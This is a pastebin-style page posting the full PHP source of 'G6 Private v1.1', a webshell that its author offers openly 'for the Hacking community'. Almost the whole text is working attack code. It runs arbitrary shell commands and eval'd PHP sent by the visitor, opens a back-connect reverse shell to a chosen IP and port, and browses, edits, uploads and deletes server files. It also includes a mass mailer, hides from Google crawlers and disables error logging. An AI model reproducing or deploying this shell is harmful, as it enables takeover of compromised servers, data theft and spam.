G6 Private v1.1 - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:16 a.m.

FORMAT: PHP

SIZE: 31.2 kB

HITS: 533

  1. <!DOCTYPE html>
  2. <html>
  3. <!--
  4. Version: 1.1 Beta
  5. G6 PHP webshell was coded by Mr. P-teo for the Hacking community.
  6. G6 offers the following features:
  7. - File Browsing
  8. - File Editing
  9. - File Upload
  10. - Self Remove
  11. - PHP code execution
  12. - Server Information
  13. - Password Hash Identifier
  14. - Terminal
  15. - Remote Back Connect
  16. - Mass Mail
  17. Mass error with filemanager, will re-write at the week end.
  18. -->
  19. <style stype="text/css">
  20. .flink{font-weight:normal;}
  21. body{background-color:#101010; background:#101010;color:#f2f2f2;font-family:tahoma;font-size:12px;}
  22. body a{ color:#3467BA;font-weight:bold;text-decoration:none;}
  23. body a:hover{text-decoration:underline;}
  24. #main_content{border:1px solid #5C7296;overflow:hidden;width:1000px;height:auto;padding:15px;margin: 0 auto;background:#0A0A0A;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  25. .enabled{color:#7ACC29;}
  26. .enabled a{color:#7ACC29;font-weight:normal;}
  27. .disabled{color:#CC0000;}
  28. .execbox{width:250px;padding: 5px 15px 15px 15px;height:auto;border:solid 1px #47A3FF;background:#0A0A0A;}
  29. .viewsource{border:solid 1px #47A3FF;background:#0A0A0A;color:#f2f2f2;}
  30. .command{width:620px;border:solid 1px #47A3FF;outline:none;background:#0A0A0A;color:#f2f2f2;}
  31. .response{width:616px;color:green;height:300px;border-bottom:solid 1px #47A3FF;border-right:solid 1px #47A3FF;border-left:solid 1px #47A3FF;border-top:0;outline:none;background:#0A0A0A;color:#f2f2f2;margin:-4px 0px 0px 0px;}
  32. .TableHeader_Name{width:450px;padding:0px 0px 0px 5px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-left-radius:4px;-moz-border-top-left-radius:4px;-webkit-border-top-left-radius:4px;}
  33. .TableHeader{width:100px;height:25px;font-weight:bold;font-family:verdana;text-align:center;background-color:#282828;}
  34. .TableHeaderoptions{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}
  35. .filesize{color:green;text-align:center;}
  36. .filenames a{font-weight:normal;text-decoration:none;}
  37. .filenames a:hover{text-decoration:underline;}
  38. tr{background-color: #080808;}
  39. tr:hover{background-color:#282828;}
  40. #options{font-weight:200;font-family:tahoma;margin-left:10px;display:block;}
  41. #title{font-size:25px;font-weight:bold;font-family:arial;display:block;padding:15px 0px 0px 0px;}
  42. .Logo{font-size:150px;text-align:center;color:#101010;}
  43. .logotext{font-size:20px;text-align:center;color:#101010;}
  44. .terminaltop{background-color:#686868;margin:-10px 0px -3px 0px;width:622px;height:20px;border-top-right-radius:5px;-moz-border-top-right-radius:5px;-webkit-border-top-right-radius:5px;border-top-left-radius:5px;-moz-border-top-left-radius:5px;-webkit-border-top-left-radius:5px;}
  45. .TableHeaderoptions2{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}
  46. .box{padding:10px;background-color:#292929;border:1px solid #3467BA;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  47. .box2{padding:5px;background-color:#000000;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  48. .optionstr td{background-color:#0A0A0A;}
  49. .optionstr td:hover{background-color:#0A0A0A;}
  50. .chdir{background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;}
  51. .godir{margin:0px 10px 0px -5px;background-color:#292929;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;width:24px;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;}
  52. </style>
  53. <body>
  54. <div id="main_content">
  55. <?php
  56. ob_start();
  57. ini_set('display_errors', false);
  58. ini_set('memory_limit', '-1');
  59. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  60. @ini_set('error_log',NULL);
  61. @ini_set('log_errors',0);
  62. @ini_set('max_execution_time',0);
  63. echo "<title>G6 Shell v1.1 - Private .::Made By Mr. P-teo::.</title>";
  64. function get_srv_info(){
  65. echo "<br /><span id='title'>G6 Shell v1.1 - Private</span><br /><div class='box'><b>Server Name: </b>".$_SERVER["SERVER_NAME"]."<br />
  66. <b>Server IP: </b>".$_SERVER["SERVER_ADDR"]." <span class='enabled'><a href='http://www.who.is/whois/".$_SERVER['HTTP_HOST']."' target='_blank'>[WHOIS]</a> - <a href='http://www.dnsstuff.com/tools?runFromMain=".$_SERVER["SERVER_ADDR"]."&toolType=traceroute' target='_blank'>[TRACEROUTE]</a></span><br />".
  67. "<b>Shell Location: </b>".$_SERVER["SCRIPT_FILENAME"]."<br />
  68. <b>Server Software: </b>".$_SERVER["SERVER_SOFTWARE"]." <span class='enabled'><a href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$_SERVER['SERVER_SOFTWARE']."&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=' target='_blank'>[Exploit DB]</a></span><br />
  69. </div><br /><br /><p></p>";
  70. }
  71. function cmd(){
  72. $disabled = explode(', ', ini_get('disable_functions'));
  73. $diabledLower = array();
  74. foreach($diabled as $function){$diabledLower[] = strtolower($function);}
  75. if(!in_array($diabledLower, "exec")){return "exec"; }elseif(!in_array($diabledLower, "passthru")){return "passthru";}elseif(!in_array($diabledLower, "system")){return "system";}else{return "none";}}
  76. $shellVersion = "1.1";
  77. $upload = $_GET['dXBsb2Fk'];
  78. $downloadfilename = $_GET['ZG93bg'];
  79. $delete = $_GET['delete'];
  80. $file_explorer = $_GET['ZmlsZV9leHBsb3Jlcg'];
  81. $mkdir = $_GET['bWtkaXI'];
  82. $currentDirectoryFileDl = $_GET['downlfile'];
  83. $NavLinks = array(
  84. array(
  85. "name" => "Main",
  86. "url" => "?"
  87. ),
  88. array(
  89. "name" => "Server Information",
  90. "url" => "?c3J2aW5mbw="
  91. ),
  92. array(
  93. "name" => "File Explorer",
  94. "url" => "?ZmlsZV9leHBsb3Jlcg=".dirname(__FILE__)."/"
  95. ),
  96. array(
  97. "name" => "Terminal",
  98. "url" => "?dGVybWlhbmw"
  99. ),
  100. array(
  101. "name" => "Hash Identifier",
  102. "url" => "?aGk="
  103. ),
  104. array(
  105. "name" => "PHP Exec",
  106. "url" => "?eval"
  107. ),
  108. array(
  109. "name" => "Back Connect",
  110. "url" => "?YmNrbmV0="
  111. ),
  112. array(
  113. "name" => "Mass Mailer",
  114. "url" => "?kueqymass"
  115. ),
  116. array(
  117. "name" => "Shell-101",
  118. "url" => "?a253aXN1ZQ"
  119. ),
  120. array(
  121. "name" => "Self Remove",
  122. "url" => "?srmve"
  123. )
  124. );
  125. $CurrentUrl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  126. $last = count($NavLinks) - 1;
  127. foreach($NavLinks as $NavLink => $NavRow){
  128. $linknames = ($NavLink == 0);
  129. $linkurls = ($NavLink == $last);
  130. echo '<a href="'.$NavRow['url'].'">'.$NavRow['name'].'</a> / ';
  131. }
  132. if(strstr($CurrentUrl, "readfile")){
  133. $sourcefile = $_REQUEST['readfile'];
  134. if(is_file($sourcefile)){
  135. get_srv_info();
  136. if(isset($sourcefile))
  137. {
  138. $Finalsource = file_get_contents($sourcefile);
  139. echo "<strong>Editing: </strong>".$sourcefile."<br /><br /><a href='".$_SERVER['HTTP_REFERER']."'>&laquo; Back to files</a><br /><form action='' method='POST'><textarea name='sourcecode' class='viewsource' rows='20' cols='121'>".htmlentities($Finalsource)."</textarea><br /><input type='Submit' value='Save File' name='save' /></form>";
  140. }
  141. }else{
  142. echo "Data not sent.";
  143. }
  144. if(isset($_POST['save'])){
  145. $new_source = $_POST['sourcecode'];
  146. $source_edit = fopen($sourcefile, 'w');
  147. fwrite($source_edit, $new_source);
  148. fclose($source_edit);
  149. }
  150. }elseif(strstr($CurrentUrl, "aGk")){
  151. get_srv_info();
  152. echo "<p>G6 hash identifier is able to identify MD5, SHA-1, MySQL5, DES(Unix), SHA-256, SHA-384, SHA-512, MD5(Unix), MD5(APR), MD5(phpBB3), MD5(Wordpress), SHA-256(Unix), SHA-512(Unix) and MD5(Base-64).</p>";
  153. if(isset($_POST['gethash'])){
  154. $hash = $_POST['hash'];
  155. if(strlen($hash)==32){
  156. $hashresult == "MD5 Hash";
  157. }elseif(strlen($hash)==40){
  158. $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  159. }elseif(strlen($hash)==13){
  160. $hashresult = "DES(Unix) Hash";
  161. }elseif(strlen($hash)==16){
  162. $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  163. }elseif(strlen($hash)==41){
  164. $GetHashChar = substr($hash, 40);
  165. if($GetHashChar == "*"){
  166. $hashresult = "MySQL5 Hash";
  167. }
  168. }elseif(strlen($hash)==64){
  169. $hashresult = "SHA-256 Hash";
  170. }elseif(strlen($hash)==96){
  171. $hashresult = "SHA-384 Hash";
  172. }elseif(strlen($hash)==128){
  173. $hashresult = "SHA-512 Hash";
  174. }elseif(strlen($hash)==34){
  175. if(strstr($hash, '$1$')){
  176. $hashresult = "MD5(Unix) Hash";
  177. }
  178. }elseif(strlen($hash)==37){
  179. if(strstr($hash, '$apr1$')){
  180. $hashresult = "MD5(APR) Hash";
  181. }
  182. }elseif(strlen($hash)==34){
  183. if(strstr($hash, '$H$')){
  184. $hashresult = "MD5(phpBB3) Hash";
  185. }
  186. }elseif(strlen($hash)==34){
  187. if(strstr($hash, '$P$')){
  188. $hashresult = "MD5(Wordpress) Hash";
  189. }
  190. }elseif(strlen($hash)==39){
  191. if(strstr($hash, '$5$')){
  192. $hashresult = "SHA-256(Unix) Hash";
  193. }
  194. }elseif(strlen($hash)==39){
  195. if(strstr($hash, '$6$')){
  196. $hashresult = "SHA-512(Unix) Hash";
  197. }
  198. }elseif(strlen($hash)==24){
  199. if(strstr($hash, '==')){
  200. $hashresult = "MD5(Base-64) Hash";
  201. }
  202. }else{
  203. $hashresult = "Hash type not found";
  204. }
  205. }else{
  206. $hashresult = "Not Hash Entered";
  207. }
  208. ?>
  209. <center>
  210. <form action="" method="POST"><table><tr class="optionstr"><td>Enter Hash:</td> <td><input type="text" name="hash" class="command" /></td><td><input type="submit" name="gethash" value="Identify Hash" /></td></tr><tr class="optionstr"><td>Result: </td><td><?php echo $hashresult; ?></td></tr></table></form>
  211. </center>
  212. <?php
  213. }elseif(strstr($CurrentUrl, "YmNrbmV0")){
  214. get_srv_info();
  215. echo '
  216. <div id="back">
  217. <h2>Back Connect</h2>
  218. <p>Back connect will allow you to enter system commands remotely.</p>
  219. <p>
  220. <table>
  221. <form action="" method="post">
  222. <tr class="optionstr"><td>IP Address: </td><td><input type="textbox" name="ip" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  223. <tr class="optionstr"><td>Port: </td><td><input type="textbox" name="port" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  224. <tr class="optionstr"><td><input type="submit" name="bind" value="Open Connection" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  225. </form>
  226. </table>';
  227. if(isset($_POST['bind']))
  228. {
  229. echo "<p>Attempting Connection...</p>";
  230. $ip = $_POST['ip'];
  231. $port= $_POST['port'];
  232. $sockfd=fsockopen($ip , $port , $errno, $errstr );
  233. if($errno != 0){echo "<font color='red'><b>$errno</b> : $errstr</font>";}else if (!$sockfd) {$result = "<p>Unexpected error has occured, connection may have failed.</p>";} else {fputs ($sockfd ,"\n{################################################################}\n..:: G6 W3b Sh3ll v1.1- Coded By Mr. P-teo ::..\n\n=> Backconnect \n=> Back \n
  234. \n{################################################################}"); $pwd = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n"); while(!feof($sockfd)){ $cmdPrompt = '[G6]#:> ';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);
  235. fputs($sockfd , "\n" . shell_exec($command) . "\n\n"); } fclose($sockfd);}}
  236. echo "</p></div>";
  237. }elseif(strstr($CurrentUrl, "bWtmbA")){
  238. get_srv_info();
  239. echo "<p>If no file path is included it will be created within the same directory as the shell.</p><form action='' method='post'><p>Filename: <input type='text' name='newfilename' /></p><p><input type='submit' value='Create File' name='create' /></p></form>";
  240. $newfilename = htmlentities($_POST['newfilename']);
  241. if(isset($_POST['create'])){$ourFileName = $newfilename;$ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");fclose($ourFileHandle);}
  242. echo "<br /><br />";
  243. }elseif(strstr($CurrentUrl, "bWtkaXI")){
  244. get_srv_info();
  245. echo "<p>If no file path is included directory will be created within the same directory as the shell.</p>
  246. <form action='' method='post'>
  247. <p>Directory Name: <input type='text' name='newdirname' /></p>
  248. <p><input type='submit' value='Create New Directory' name='createdir' /></p>
  249. </form>";
  250. $newdirname = htmlentities($_POST['newdirname']);
  251. if(isset($_POST['createdir'])){
  252. $ourdirName = $newdirname;
  253. mkdir($ourdirName, 0777);
  254. echo "Directory Created!";
  255. }
  256. echo "
  257. <br /><br />";
  258. }elseif(strstr($CurrentUrl, "ZmlsZV9leHBsb3Jlcg")){
  259. get_srv_info();
  260. $upload = $file_explorer;
  261. echo '<p><form action="" method="POST"><table><tr class="optionstr"><td><input class="chdir" type="text" name="chdir" value="'.$file_explorer.'"" /></td><td></td></form><td><div id="options"><a href="'.$CurrentUrl.'">Refresh Files</a></div></td><td><div id="options"><!--<a href="?bWtkaXI='.$file_explorer.'">Make Directory</a> | <a href="?bWtmbA='.$file_explorer.'">Make File</a> | <a href="?dXBsb2Fk='.$upload.'">Upload</a></div>--></td></tr>';
  262. if(isset($_POST['godir'])){$mandircha = $_POST['chdir'];if($mandircha){ header("Location: ?ZmlsZV9leHBsb3Jlcg=".$_POST['chdir']);}}
  263. ?>
  264. </div></p>
  265. <table class="FileBrowserTable"><tr><td class="TableHeader_Name"> FileName's</td><td class="TableHeader">Filetype</a></td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableHeader">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr>
  266. <?php
  267. $Shell_Directory = $_SERVER['REMOTE_DIR'];
  268. //load files...
  269. function GetFileType($file){
  270. if(!is_dir($file)){
  271. if(strstr($file, ".")){
  272. $FileExt = end(explode(".", $file));
  273. return $FileExt;
  274. }else{
  275. return "Directory";
  276. }
  277. }else{
  278. $Directory = "Directory";
  279. return $Directory;
  280. }
  281. }
  282. function GetFileSize($file){
  283. if(!is_dir($file))
  284. return round(filesize($file) / 1024, 2) . " Kb";
  285. else
  286. return "Not Availible";
  287. }
  288. function LastModified($file){
  289. return "<center>".date("m/d/y", filemtime($file))."</center>";
  290. }
  291. function permissions($file){
  292. if(is_readable($file)){
  293. $readable = "r";
  294. }else{
  295. $readable = "?";
  296. }
  297. if(is_writable($file)){
  298. $writable = "w";
  299. }else{
  300. $writable = "?";
  301. }
  302. if(is_executable($file)){
  303. $executable = "x";
  304. }else{
  305. $executable = "?";
  306. }
  307. if($readable."--".$writable."--".$executable == "r--w--x"){
  308. return "<center style='color:#f1f1f1;'>".$readable."--".$writable."--".$executable."</center>";
  309. }else{
  310. return "<center>".$readable."--".$writable."--".$executable."</center>";
  311. }
  312. }
  313. $Files = scandir($file_explorer);
  314. foreach($Files as $File){
  315. if($File == ".."){
  316. $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];
  317. //Up a directory
  318. $currentDirectory = substr($currentDirectory, 0, strrpos($currentDirectory, "/"));
  319. echo "<tr><td><a href='?ZmlsZV9leHBsb3Jlcg=" .$currentDirectory. "'>" . $File . "</a></td><td></td><td></td><td></td><td></td><td></td></tr>";
  320. }elseif($File == "."){
  321. //Same as current Dir, no need for this...
  322. }else{
  323. $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];
  324. $type = GetFileType($currentDirectory. "/" .$File);
  325. if($type == "Directory"){
  326. echo "<tr><td><a class='flink' title='Explore Directory' href='?ZmlsZV9leHBsb3Jlcg=" .$currentDirectory. "/" .$File. "'>" . $File . "/</a></td><td><center>" . $type . "</center></td><td class='filesize'>" . GetFileSize($currentDirectory. "/" .$File) . "</td><td style='color:red;'>".permissions($currentDirectory. "/" .$File)."</td><td>" . LastModified($currentDirectory. "/" .$File) . "</td><td>Not Availible</td></tr>";
  327. }else{
  328. echo "<tr><td><a class='flink' title='Edit File' href='?readfile=" .$currentDirectory. "/" .$File. "'>" . $File . "</a></td><td><center>" . $type . "</center></td><td class='filesize'>" . GetFileSize($currentDirectory. "/" .$File) . "</td><td style='color:red;'>".permissions($currentDirectory. "/" .$File)."</td><td>" . LastModified($currentDirectory. "/" .$File) . "</td><td><a href='?readfile=" .$currentDirectory. "/" .$File. "' title='Edit File'>E</a> - <a href='?delete=" .$currentDirectory. "/" .$File. "' title='Bin the Document'>B</a> - <a href='?downlfile=".$currentDirectory. "/" .$File."&file=".$File."' title='Download File'>D</a></td></tr>";
  329. }
  330. }
  331. }
  332. ?>
  333. </table>
  334. <div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;" ></div>
  335. <div style="padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;">
  336. <h4>File Upload</h4><form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" /><br /><input type="submit" name="upload" value="Upload File" /></form></div>
  337. <?php
  338. if(isset($_POST['upload'])){if(isset($_FILES['file'])){ move_uploaded_file($_FILES["file"]["tmp_name"], $file_explorer."/". $_FILES["file"]["name"]);echo '<script>alert("File successfully uploaded, enjoy.");</script>';} }
  339. ?>
  340. <div style="padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;">
  341. <h4>Create Directory</h4>
  342. <form action="" method="post"><input type="text" name="dirname" /><br /><input type="submit" name="createdir" value="Create Dir" /></form></div>
  343. <?php
  344. if(isset($_POST['createdir'])){if(strlen($_POST['dirname']) > 0){mkdir($file_explorer."/".$_POST['dirname'], 777) or die($file_explorer."/".$_POST['dirname']);}}
  345. ?>
  346. <br /><br /><br />
  347. <?php
  348. }elseif(strstr($CurrentUrl, "downlfile")){
  349. /*$type = mime_content_type($currentDirectoryFileDl);
  350. header('Content-Type: '.$type);
  351. header('Content-Disposition: attachment; filename="'.$currentDirectoryFileDl.'"');*/
  352. $file = $_GET['file'];
  353. // header('Content-Type: application/force-download'); Non-standard MIME-Type, incompatible with Samsung C3050 for example. Let it commented
  354. //readfile($currentDirectoryFileDl);
  355. forceDL($currentDirectoryFileDl, $file);
  356. /*
  357. * forceDL
  358. *
  359. * Forces the browser to download file
  360. *
  361. * @param string $filePath Path to the selected download
  362. * @param string $fileName Name of file to be saved, can be anything honestly
  363. */
  364. function forceDL($filePath, $fileName) {
  365. /* Rquired for IE */
  366. if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); }
  367. /*
  368. Files not downloading with correct headers?
  369. 1) Open file in Notepad++ (or similar) and check for white-space or other code (php code)
  370. 2) Extra code?
  371. 3) Problem found.
  372. 4) Profit
  373. Should answer most questions
  374. */
  375. /* Headers */
  376. header('Pragma: public');
  377. header('Expires: 0');
  378. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  379. header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($filePath)).' GMT');
  380. header('Cache-Control: private', false);
  381. header('Content-Type: application/force-download');
  382. header('Content-disposition: attachment; filename="' . $fileName . '"');
  383. header('Content-Transfer-Encoding: binary');
  384. header('Content-length: ' . filesize($filePath));
  385. readfile($filePath);
  386. echo $filePath.$fileName;
  387. exit();
  388. }
  389. }elseif(strstr($CurrentUrl, "kueqymass")){
  390. get_srv_info();
  391. ?>
  392. <strong>Mass Mailer</strong>
  393. <p>Be warned using the mass mailing feature may attract attention to your G6 shell. Seperate each email with <strong>;</strong></p>
  394. <form action="" method="post">
  395. <table><tr><td>To Email(s): </td><td><input type="text" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; width:220px;" name="email" placeholder="email@address.com" /></tr><tr><td>Subject: </td> <td><input type="text" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px" name="subject" /></td></tr><tr><td>From Email: </td><td><input type="email" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px;" name="fromEmail" placeholder="example@google.com" /></td></tr><tr><td>Message: </td><td></td></tr></table><table><tr><td><textarea style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; height:200px;width:290px;" name="message"></textarea></td></tr><tr><td><input type="submit" name="send" value="Send Message(s)" /></td></tr></table></form>
  396. <?php
  397. if(isset($_POST['send'])){ $email = $_POST['email'];$subject = $_POST['subject'];$from = $_POST['fromEmail'];$message = $_POST['message'];if($email&&$subject&&$from&&$message){$emails = explode(";", $email);foreach($emails as $email){mail($email, $subject, $message, "From: ".$from); }}}
  398. }elseif(strstr($CurrentUrl, "delete")){
  399. if(!is_dir($delete)){unlink($delete);}else{rmdir($delete);}
  400. header("Location: ".$_SERVER['HTTP_REFERER']);
  401. }elseif(strstr($CurrentUrl, "c3J2aW5mbw")){
  402. get_srv_info();
  403. $s_safemode = ini_get("safe_mode");
  404. if($s_safemode = TRUE){$s_safemode = "<span class='enabled'>[ON";}else{$s_safemode = "<span class='disabled'>[OFF"; }
  405. if(extension_loaded('curl')){$curls="<span class='enabled'>[ON]</span>";}else{$curls="<span class='disabled'>[OFF]</span>";}
  406. echo "<b>Server Port: </b>".$_SERVER['SERVER_PORT']."<br /><br /><b>HTTP Connection: </b>".$_SERVER['HTTP_CONNECTION']."<br /><br /><b>Operating System:</b> ".php_uname()."<br /><br />";
  407. if(get_magic_quotes_gpc()){echo "<b>Magic Quotes:</b> <span class='enabled'>[ENABLED]</span><br /><br />";}else{echo "<b>Magic Quotes:</b> <span class='disabled'>[DISABLED]</span><br /><br />";}
  408. echo "<b>PHP Version:</b> ".phpversion()."<br /><br /><b>Safe Mode: </b>".$s_safemode."]</span><br /><br /><b>Curl: </b>".$curls."<br /><br /><b>Accept Encoding: </b> ".$_SERVER['HTTP_ACCEPT_ENCODING']."<br /><br /><b>Admin: </b>".$_SERVER['SERVER_ADMIN']."<br /><br /><strong>Disabled Functions: </strong>";
  409. if(!empty($disabled)){
  410. foreach($disabled as $functionsdis){
  411. echo $functionsdis.", ";
  412. }
  413. }else{
  414. echo "none";
  415. }
  416. echo "<br /><br /><strong>/etc/passwd: </strong>";
  417. if(is_readable("/home/etc/passwd")){
  418. echo "<span style='color:green;'>Readable</span>";
  419. }else{
  420. echo "<span style='color:red;'>Unreadable</span>";
  421. }
  422. }elseif(strstr($CurrentUrl, "dGVybWlhbmw")){
  423. get_srv_info();
  424. ?>
  425. <p>Command line execution via exec, passthru or system.</p>
  426. <form action="" method="post"><table><tr><td><b>Command Execution: </b></td><td><input type="text" placeholder="root~$ " autocomplete="off" name="command" class="command"/></td></tr></table>
  427. <?php
  428. $out = array();
  429. if(cmd()=="exec"){
  430. echo "Using: exec => ";
  431. exec($_POST['command'], $out);
  432. foreach ($out as $line) {
  433. echo "$line\n";
  434. }
  435. }elseif (cmd()=="passthru") {
  436. echo "Using: passthru => ";
  437. passthru($_POST['command'], $out);
  438. foreach ($out as $line) {
  439. echo "$line\n";
  440. }
  441. }elseif(cmd()=="system"){
  442. echo "Using: system => ";
  443. system($_POST['command'], $out);
  444. foreach ($out as $line) {
  445. echo "$line\n";
  446. }
  447. }
  448. }elseif(strstr($CurrentUrl, "a253aXN1ZQ")){
  449. get_srv_info();
  450. echo "
  451. <h4>Information</h4>
  452. <p>G6 Shell v".$shellVersion." Open Beta Edition - coded by Mr. P-teo, below are the known issues and bugs.</p>";
  453. ?>
  454. <ul>
  455. <li>is_dir function not returning correct result within child dirs of the file browser.</li>
  456. <li>File Browser controls, e.g. rename, create file, delete full dir.</li>
  457. <li>Editing can run into trouble with GET Method Not Implemented error.</li>
  458. </ul>
  459. <br /><br />
  460. <?php
  461. }elseif(strstr($CurrentUrl, "?eval")){
  462. get_srv_info();
  463. ?>
  464. <div style="float:left;width:700px;">
  465. <h4>Eval (PHP code execution)</h4>
  466. <form action="" method="post">
  467. <textarea name="phpeval" style="width:700px;height:190px;padding:5px;background:#CCCCCC;">//Example, get all PHP info about the server
  468. echo phpinfo();</textarea><br />
  469. <input style="padding:4px 10px;margin:10px 0px;" name="evalexecute" value="Execute Code" type="submit"/>
  470. </form>
  471. </div>
  472. <div style="float:right;width:250px;">
  473. <h4>Information</h4>
  474. <p>Enter your specified php code within the textarea and wait for the response.</p>
  475. <p><strong>Example: </strong><i>echo phpinfo();</i></p><br /><br />
  476. <h4>Warning</h4>
  477. <p>including external files with seperate stylesheets may affect the apearence of G6 styles.</p>
  478. </div>
  479. <?php
  480. if(isset($_POST['evalexecute'])){
  481. eval($_POST['phpeval']);
  482. }
  483. }elseif(strstr($CurrentUrl, "?srmve")){
  484. get_srv_info();
  485. ?>
  486. <p>If you are sure you wish to remove the shell click the button below, make sure you are certain as you wil only have one shot at this.</p>
  487. <form action="" method="post">
  488. <center><input style="padding:7px 15px;margin:10px 0px;" name="Remove" value="Remove Shell" type="submit"/></center>
  489. </form>
  490. <?php
  491. if(isset($_POST['Remove'])){
  492. if(file_exists(__FILE__)){
  493. unlink(__FILE__);
  494. }
  495. }
  496. }else{
  497. get_srv_info();
  498. ?>
  499. <br /><br /><br /><br /><div class='Logo'>G6 v<?php echo $shellVersion; ?></div><div class='logotext'>Private Shell Coded By Mr. P-teo</div><br /><br /><br />
  500. <?php
  501. }
  502. ob_flush();
  503. ?>
  504. </div>
  505. <body>
  506. </html>

comments powered by Disqus